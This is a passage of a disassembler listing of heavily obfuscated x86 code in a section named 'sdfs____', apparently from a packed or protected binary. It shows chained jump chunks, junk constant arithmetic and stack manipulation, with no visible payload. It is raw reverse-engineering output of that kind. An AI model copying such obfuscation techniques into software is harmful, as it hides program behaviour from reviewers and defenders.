; FUNCTION CHUNK AT 005AFC34 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005AFC7E SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005AFCEE SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AFD90 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AFDE2 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 005AFE61 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005AFEEB SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005AFF49 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005AFFC7 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005B001C SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005B00D8 SIZE 00000045 BYTES
; FUNCTION CHUNK AT 005B0165 SIZE 0000003B BYTES
; FUNCTION CHUNK AT 005B01CB SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005B0218 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005B0233 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005B02B8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005B02E3 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 005B03CB SIZE 0000001D BYTES

		sub	esp, 4
		mov	[esp+0], edx
		jmp	loc_59FF35
sub_5AA2D1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC18D


loc_5AA2DF:				; CODE XREF: sub_5AC18D-A2E8j
		pop	ecx
		mov	eax, [esp+4+var_4]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+8+var_8]
		pop	esp
		mov	edx, [esp+4+var_4]
		add	esp, 4
		push	dword ptr [esp+0]
		pop	ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5ABA56
; END OF FUNCTION CHUNK	FOR sub_5AC18D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AA30F:				; CODE XREF: sub_5AA2D1+D0Aj
		mov	[esp+0], eax
		not	dword ptr [esp+0]
		jmp	loc_5AF820
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A16B8


loc_5AA31A:				; CODE XREF: sub_5A16B8+8D54j
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		push	edi
		jmp	loc_5A38AE
; END OF FUNCTION CHUNK	FOR sub_5A16B8

; =============== S U B	R O U T	I N E =======================================



sub_5AA329	proc near		; DATA XREF: sdfs____:00598E7Co

var_4		= dword	ptr -4

		push	dword ptr [esp+0]
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		push	1211h
		mov	[esp+4+var_4], ebp
		mov	ebp, esp
		jmp	sub_59DE4B
sub_5AA329	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF2D9


loc_5AA341:				; CODE XREF: sub_5AF2D9-81DFj
		and	dh, cl
		jmp	loc_59AEC8
; END OF FUNCTION CHUNK	FOR sub_5AF2D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0AA2


loc_5AA348:				; CODE XREF: sub_5A0AA2+2EA0j
		push	edi
		mov	edi, 4
		add	[esp+0Ch+var_8], edi
		pop	edi
		mov	edx, [esp+8+var_8]
		add	esp, 4
		add	edx, 4
		push	1A4Eh
		mov	[esp+8+var_8], ebx
		mov	ebx, 2E3966F6h
		jmp	loc_59E792
; END OF FUNCTION CHUNK	FOR sub_5A0AA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5AA374:				; CODE XREF: sub_5A86D0+71Bj
					; sub_5992DA+10773j
		xor	[esp+26h+var_26], ebp
		xor	ebp, [esp+26h+var_26]
		jmp	loc_5A89F9
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A79BE


loc_5AA37F:				; CODE XREF: sub_5A79BE+4E03j
		mov	ecx, eax
		mov	eax, [esp+8+var_8]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_599FFA
; END OF FUNCTION CHUNK	FOR sub_5A79BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5AA392:				; CODE XREF: sub_59C979+A2ACj
		add	[esp-8+arg_6+2], 145F1007h
		pop	ecx
		mov	eax, [esp-0Ch+arg_6+2]
		add	esp, 4
		push	1E45h
		mov	[esp-0Ch+arg_6+2], ebx
		jmp	loc_5A374D
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A26C


loc_5AA3AE:				; CODE XREF: sub_59A26C+3E15j
		pop	eax
		jmp	loc_5B0406
; END OF FUNCTION CHUNK	FOR sub_59A26C
; ---------------------------------------------------------------------------


loc_5AA3B4:				; CODE XREF: sdfs____:005A8B39j
		pop	edx
		add	bh, 81h
		add	bh, cl
		sub	bh, 81h
		pop	ecx
		neg	bh
		sub	bh, 34h
		sub	al, bh
		mov	ebx, [esp]
		jmp	loc_5A867A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AA3CD:				; CODE XREF: sub_5AA2D1+2744j
		xchg	al, bl
		push	small 6DD1h
		mov	[esp+0], ax
		mov	ah, 6Bh
		add	bl, ah
		mov	ax, [esp+0]
		jmp	loc_59EDAB
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D9AA


loc_5AA3E4:				; CODE XREF: sub_59D9AA+10631j
		pop	ebp
		sub	edi, ebx
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_59D9AA
; ---------------------------------------------------------------------------
		jmp	loc_59910F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5AA3EE:				; CODE XREF: sub_59D6B8-263Cj
		mov	[esp+1Ch+var_1C], edi
		mov	edi, 4
		push	edi
		jmp	loc_5A06B7
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A16B8


loc_5AA3FC:				; CODE XREF: sub_5A16B8:loc_5AB4BCj
		sub	ebp, 0FEDF752Dh
		mov	edi, ebp
		mov	ebp, [esp+0Ch+var_C]
		add	esp, 4
		sub	edi, ecx
		jmp	loc_5AA31A
; END OF FUNCTION CHUNK	FOR sub_5A16B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599C9B


loc_5AA411:				; CODE XREF: sub_599C9B+7A6Ej
		add	ebx, ebp
		jmp	loc_5A9B37
; END OF FUNCTION CHUNK	FOR sub_599C9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AA418:				; CODE XREF: sub_5AA2D1-BAC5j
		sub	eax, 6CA033D5h
		mov	edx, [esp-26h+arg_20+2]
		push	697Eh
		mov	[esp-22h+arg_1C+2], ebx
		mov	ebx, esp
		push	3848h
		jmp	loc_59AA5A
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9B1D


loc_5AA434:				; CODE XREF: sub_5A9B1D-5C6Dj
		mov	[esp+4+var_4], ebx
		mov	ebx, 4
		push	ebx
		push	ebp
		push	18923EC4h
		pop	ebp
		add	ebp, 0FE68D27Fh
		push	ecx
		mov	ecx, ebp
		push	ecx
		xor	[esp+14h+var_14], 662F2389h
		pop	ebx
		xor	ebx, 662F2389h
		pop	ecx
		mov	ebp, [esp+0]
		add	esp, 4
		sub	ebp, ebx
		jmp	loc_5A7623
; END OF FUNCTION CHUNK	FOR sub_5A9B1D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_5AA46A:				; CODE XREF: sub_5A6BBC-88B3j
		jo	loc_59EBC3
		jmp	sub_5A63DC
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC18D


loc_5AA475:				; CODE XREF: sub_5AC18D+12j
		sub	dl, 0A6h
		jmp	loc_5A0A7F
; END OF FUNCTION CHUNK	FOR sub_5AC18D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0924


loc_5AA47D:				; CODE XREF: sub_5A0924+ACF3j
		xor	eax, 332C0170h
		xor	esi, eax
		pop	eax
		add	ebx, esi
		mov	esi, [esp+4+var_4]
		add	esp, 4
		add	ebx, 4
		xchg	ebx, [esp+0]
		pop	esp
		push	[esp-4+arg_0]
		mov	ecx, [esp+0]
		push	ebx
		mov	ebx, esp
		push	eax
		mov	eax, 797C1E1Dh
		jmp	loc_5A337B
; END OF FUNCTION CHUNK	FOR sub_5A0924
; ---------------------------------------------------------------------------


loc_5AA4AB:				; CODE XREF: sdfs____:00599F24j
		pop	esp
		jmp	loc_5A428F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5AA4B1:				; CODE XREF: sub_59D6B8-2CD4j
		pop	edx
		xor	ebx, ecx
		jmp	loc_59CEEA
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A522E


loc_5AA4B9:				; CODE XREF: sub_5A522E+217Aj
		add	eax, 4
		push	esi
		push	ebx
		push	38CB71D3h
		mov	ebx, [esp+10h+var_10]
		add	esp, 4
		jmp	loc_5AD91C
; END OF FUNCTION CHUNK	FOR sub_5A522E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA810


loc_5AA4D0:				; CODE XREF: sub_5AA810-10621j
		xor	edx, [esp+8+var_8]
		jmp	loc_5A426A
; END OF FUNCTION CHUNK	FOR sub_5AA810
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AA4D8:				; CODE XREF: sub_5AA2D1-2E15j
		add	ecx, 2737489h
		xor	ecx, 293B78Bh
		sub	edi, ecx
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		xchg	edi, [esp+4+var_4]
		jmp	loc_5A5070
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC803


loc_5AA4F7:				; CODE XREF: sub_5AC803-3CFDj
		neg	esi
		jge	loc_59E7E8
		jmp	loc_5A28C7
; END OF FUNCTION CHUNK	FOR sub_5AC803

; =============== S U B	R O U T	I N E =======================================



sub_5AA504	proc near		; DATA XREF: sdfs____:00598F14o
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	word ptr [esp+0], cl
		pushf
		jmp	loc_59910F
sub_5AA504	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A580F


loc_5AA514:				; CODE XREF: sub_5A580F+3CB0j
		pop	eax
		add	[esp+8+var_8], 1CFC059Fh
		jmp	loc_59E8DC
; END OF FUNCTION CHUNK	FOR sub_5A580F
; ---------------------------------------------------------------------------


loc_5AA521:				; CODE XREF: sdfs____:0059CDECj
		mov	ebp, 30CE1F16h
		add	[esp+0Ch], ebp
		jmp	loc_5ABF70

; =============== S U B	R O U T	I N E =======================================



sub_5AA52F	proc near		; CODE XREF: sub_5A2F58+BDA2j

var_6		= word ptr -6
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059C9AD SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A2B5D SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A6F60 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A8F82 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 005A9982 SIZE 0000000D BYTES

		sub	esp, 2
		jmp	loc_5A9982
sub_5AA52F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A79BE


loc_5AA53A:				; CODE XREF: sub_5A79BE-4F8Ej
		jmp	loc_5ABC03
; END OF FUNCTION CHUNK	FOR sub_5A79BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A16B8


loc_5AA53F:				; CODE XREF: sub_5A16B8-6EBAj
		mov	ebx, esp
		push	edx
		jmp	loc_59A282
; END OF FUNCTION CHUNK	FOR sub_5A16B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F02F


loc_5AA547:				; CODE XREF: sub_59F02F+3A1Ej
		add	eax, 602A279Ch
		sub	eax, 3BE805D3h
		push	dword ptr [esp+0]
		pop	ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	esi
		push	[esp+8+var_4]
		pop	esi
		pop	[esp+8+var_8]
		pop	esp
		push	edi
		push	edx
		push	48F758A8h
		mov	edx, [esp+0Ch+var_C]
		add	esp, 4
		shr	edx, 5
		jz	loc_5AE7F1
		xor	edx, 1E013A63h
		jnp	loc_5AB56F
		dec	edx
		push	4293h
		mov	[esp+0Ch+var_C], eax
		push	5BFh
		jmp	loc_5AEB32
; END OF FUNCTION CHUNK	FOR sub_59F02F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC803


loc_5AA5A3:				; CODE XREF: sub_5AC803+395Dj
		shr	esi, 2
		js	loc_59AB84
		add	esi, 1
		jmp	loc_59CF73
; END OF FUNCTION CHUNK	FOR sub_5AC803
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5EFF


loc_5AA5B7:				; CODE XREF: sub_5A5EFF-7973j
		or	ebp, 767733B8h
		sub	ebp, 0C6E6ECBh
		sub	ebp, 0D16EACD6h
		xor	ebp, 594270FBh
		xor	ebp, 435850A6h
		sub	ecx, 442D3DA4h
		jmp	loc_59E6A4
; END OF FUNCTION CHUNK	FOR sub_5A5EFF
; ---------------------------------------------------------------------------
		push	eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, 4
		jmp	loc_5ABF68

; =============== S U B	R O U T	I N E =======================================



sub_5AA5F6	proc near		; CODE XREF: sub_5A9D6F-FD07j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00599E63 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0059F0C7 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A2C47 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A3006 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A5199 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A581D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005AA7E4 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005AC613 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005ACD5A SIZE 0000000E BYTES

		push	ebx
		mov	bl, 7Eh
		sub	al, 0D2h
		add	al, bl
		jmp	loc_5ACD5A
sub_5AA5F6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5AA602:				; CODE XREF: sub_59C979+95C9j
		pop	ebx
		jmp	loc_59F4B7
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AA608:				; CODE XREF: sub_5AA2D1-6E88j
		mov	bl, 52h
		xor	bl, dh
		mov	edx, [esp+0Ch+var_C]
		jmp	loc_5A3273
; ---------------------------------------------------------------------------


loc_5AA614:				; CODE XREF: sub_5AA2D1-F825j
		pop	ecx
		push	ecx
		push	edx
		mov	dh, 4Ch
		jmp	sub_59ED98
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E94B


loc_5AA61E:				; CODE XREF: sub_59E94B+FC3Bj
		push	dword ptr [esp+0]
		pop	eax
		add	esp, 4
		xor	edi, [esp-4+arg_0]
		xor	[esp-4+arg_0], edi
		jmp	loc_5A763E
; END OF FUNCTION CHUNK	FOR sub_59E94B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C2A6


loc_5AA630:				; CODE XREF: sub_59C2A6+C41Bj
					; sub_5A9EBF-124Dj ...
		push	esi
		jmp	sub_5A503A
; END OF FUNCTION CHUNK	FOR sub_59C2A6
; ---------------------------------------------------------------------------


loc_5AA636:				; CODE XREF: sdfs____:005A746Bj
		pop	esp
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	13CBh
		mov	[esp], eax
		jmp	loc_5AF750
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A169C


loc_5AA651:				; CODE XREF: sub_5A169C+Bj
		add	edi, 4
		jmp	loc_5A8CEF
; END OF FUNCTION CHUNK	FOR sub_5A169C
; ---------------------------------------------------------------------------


loc_5AA65C:				; CODE XREF: sdfs____:005AC92Dj
		add	esp, 4
		push	35C7h
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	esi
		mov	esi, 522C5DCDh
		shr	esi, 4
		push	ecx
		mov	ecx, 3C19548Bh
		or	esi, ecx
		pop	ecx
		jmp	loc_5A4F94
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD795


loc_5AA683:				; CODE XREF: sub_5AD795-A9FDj
					; sub_59CBE1+13071j
		sub	cl, 37h
		jmp	loc_5AC500
; END OF FUNCTION CHUNK	FOR sub_5AD795
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD243


loc_5AA68B:				; CODE XREF: sub_5AD243-608Ej
		mov	[esp-4+arg_0], esp
		push	esi
		mov	esi, 4
		add	[esp+arg_0], esi
		pop	esi
		push	[esp-4+arg_0]
		mov	ebp, [esp+0]
		add	esp, 4
		push	edi
		push	1D2Ah
		jmp	loc_59D1F5
; END OF FUNCTION CHUNK	FOR sub_5AD243
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3992


loc_5AA6B0:				; CODE XREF: sub_5A3992-63D8j
		pop	edx
		push	eax
		mov	eax, esp
		jmp	loc_5A6E8B
; END OF FUNCTION CHUNK	FOR sub_5A3992
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F4D2


loc_5AA6B9:				; CODE XREF: sub_59F4D2-3C6Ej
		sub	ebx, 32F30599h
		sub	ebx, edi
		jmp	loc_5A9124
; END OF FUNCTION CHUNK	FOR sub_59F4D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5AA6C6:				; CODE XREF: sub_59EE3E+81E5j
		jp	loc_5A7C28
		jmp	loc_59DD01
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5AA6D1:				; CODE XREF: sub_59D6B8+11EA6j
		add	ebx, 6FA664BFh
		jmp	loc_59D5D6
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A917C


loc_5AA6DC:				; CODE XREF: sub_5A917C-A6A8j
		add	eax, 4
		xchg	eax, [esp+4+var_4]
		pop	esp
		jmp	loc_5AC8C2
; END OF FUNCTION CHUNK	FOR sub_5A917C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_5AA6EA:				; CODE XREF: sub_5A477C+A461j
		add	edx, 28120D18h
		ja	loc_5A4857
		shl	edx, 3
		jnz	loc_59E228
		jmp	loc_59A1F4
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
		pop	eax
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5AA705:				; CODE XREF: sub_5992DA+BB17j
		pop	edx
		jmp	sub_599509
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AA70B:				; CODE XREF: sub_5AA2D1-9803j
					; sub_5A118F+A0D7j
		add	edi, 69F859DDh
		add	edi, 5B677CB1h
		sub	edi, esi
		sub	edi, 5B677CB1h
		jmp	loc_59BD4E
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A253A


loc_5AA724:				; CODE XREF: sub_5A253A+8j
		mov	ebx, 200h
		jmp	loc_5AB56F
; END OF FUNCTION CHUNK	FOR sub_5A253A
; ---------------------------------------------------------------------------


loc_5AA72E:				; CODE XREF: sdfs____:005A0FEDj
		mov	bh, dh
		pop	edx
		jmp	loc_5A6130
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599884


loc_5AA736:				; CODE XREF: sub_599884+1266Dj
		sub	edx, ebx
		jmp	loc_59C836
; END OF FUNCTION CHUNK	FOR sub_599884
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AA73D:				; CODE XREF: sub_5AA2D1-531Aj
		add	ebx, 3BE121CAh
		sub	esp, 4
		mov	[esp+0Ah+var_C+2], ebp
		mov	ebp, 79093A98h
		sub	ebp, 368F5432h
		sub	ebp, 2EB28A01h
		sub	ebx, ebp
		pop	ebp
		sub	ebx, 16375269h
		jmp	loc_5A0C5A
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5AA768:				; CODE XREF: sub_5992DA+69C7j
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5A1BE2
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AA775:				; CODE XREF: sub_5AA2D1-CCA1j
		not	[esp+2+var_4+2]
		pop	ebx
		jmp	loc_5A6C90
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0AA2


loc_5AA77E:				; CODE XREF: sub_5A0AA2+A749j
		push	2664h
		mov	[esp+8+var_8], ebp
		mov	ebp, 38BD7811h
		and	ebp, 19092494h
		sub	ebp, 50593472h
		push	edi
		mov	edi, 0DB72646h
		xor	edi, 5F8B1FD9h
		push	esi
		jmp	loc_5A623F
; END OF FUNCTION CHUNK	FOR sub_5A0AA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A28E3


loc_5AA7A9:				; CODE XREF: sub_5A28E3+D390j
		mov	[esp+4+var_4], ecx
		mov	ecx, 4
		add	ebx, 392B67FEh
		add	ebx, ecx
		push	ecx
		mov	ecx, 23AF3022h
		not	ecx
		and	ecx, 5B5E5C39h
		jmp	loc_5A07C9
; END OF FUNCTION CHUNK	FOR sub_5A28E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF8FF


loc_5AA7CC:				; CODE XREF: sub_5AF8FF+4C2j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_59F951
; END OF FUNCTION CHUNK	FOR sub_5AF8FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E41


loc_5AA7DF:				; CODE XREF: sub_5A2E41:loc_5A5141j
		jmp	sub_5A317A
; END OF FUNCTION CHUNK	FOR sub_5A2E41
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA5F6


loc_5AA7E4:				; CODE XREF: sub_5AA5F6+2020j
		add	bl, 85h
		shl	bl, 4
		push	eax
		mov	al, 0B6h
		inc	al
		sub	al, 0ADh
		jmp	loc_5A581D
; END OF FUNCTION CHUNK	FOR sub_5AA5F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5AA7F6:				; CODE XREF: sub_59C979+6E46j
		xor	eax, 1CCE7661h
		and	eax, 41BA7E90h
		sub	eax, 41B2388Ch
		sub	ecx, 408A2FECh
		jmp	loc_5AAA86
; END OF FUNCTION CHUNK	FOR sub_59C979

; =============== S U B	R O U T	I N E =======================================



sub_5AA810	proc near		; CODE XREF: sub_5A2E41+226Ej

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00599A24 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00599D72 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059A1EC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059B18B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059B8A6 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059D559 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059E31B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059ED78 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0059F7B2 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0059F7FB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059FCDD SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005A0895 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A1182 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A2368 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A30F2 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A426A SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005A7528 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A903E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A9247 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A92C0 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A94A2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A9F0D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005AA4D0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005ABCD2 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005ABE6A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005AC3B5 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005B0293 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005B03A1 SIZE 00000012 BYTES

		sub	esp, 4
		mov	[esp+8+var_8], edx
		mov	edx, esp
		add	edx, 4
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		push	[esp+0Ch+var_C]
		pop	ebp
		jmp	loc_59A1EC
sub_5AA810	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5AA82F:				; CODE XREF: sub_5A0FFF-4E90j
					; sub_59D6B8+8714j
		sub	ecx, 3110B1CAh
		sub	edi, ecx
		jmp	loc_5A700D
; END OF FUNCTION CHUNK	FOR sub_59D6B8

; =============== S U B	R O U T	I N E =======================================



sub_5AA83C	proc near		; DATA XREF: sdfs____:00598EA8o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059E387 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A7A0C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005AD029 SIZE 0000000B BYTES

		mov	ax, [esp+0]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		mov	[esp+0], ecx
		jmp	loc_5A7A0C
sub_5AA83C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A26C


loc_5AA85A:				; CODE XREF: sub_59A26C+AC0Bj
		inc	edx
		jns	loc_5991DC
		neg	edx
		add	edx, 9472086h
		mov	ebp, edx
		jmp	loc_5A596F
; END OF FUNCTION CHUNK	FOR sub_59A26C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5AA870:				; CODE XREF: sub_59D6B8+11049j
		add	ebx, 0E9E4B594h
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		xchg	ebp, [esp+4+var_4]
		pop	esp
		add	edx, 70C82B76h
		xor	edx, 45DA2A6Bh
		add	edx, 0FFFFFFFFh
		sub	edx, 5CD568C5h
		sub	edx, 10A0089Ah
		add	edx, 923CC8F3h
		jmp	loc_59C932
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------


loc_5AA8A9:				; CODE XREF: sdfs____:005AD519j
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_59EFBA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A479


loc_5AA8B4:				; CODE XREF: sub_59A479+125FFj
		push	40ECh
		jmp	loc_59E707
; END OF FUNCTION CHUNK	FOR sub_59A479
; ---------------------------------------------------------------------------


loc_5AA8BE:				; CODE XREF: sdfs____:005A3CD5j
		add	dl, 7Bh
		add	cl, 24h
		sub	cl, dl
		jmp	loc_5A8B36
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9D64


loc_5AA8CB:				; CODE XREF: sub_5A9D64-AD6Fj
		inc	ebx
		jmp	loc_5A2572
; END OF FUNCTION CHUNK	FOR sub_5A9D64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8215


loc_5AA8D1:				; CODE XREF: sub_5A8215-BF74j
					; sdfs____:005AB699j
		push	edi
		push	ebx
		mov	ebx, 4
		mov	edi, ebx
		pop	ebx
		add	edx, edi
		mov	edi, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_59EF2B
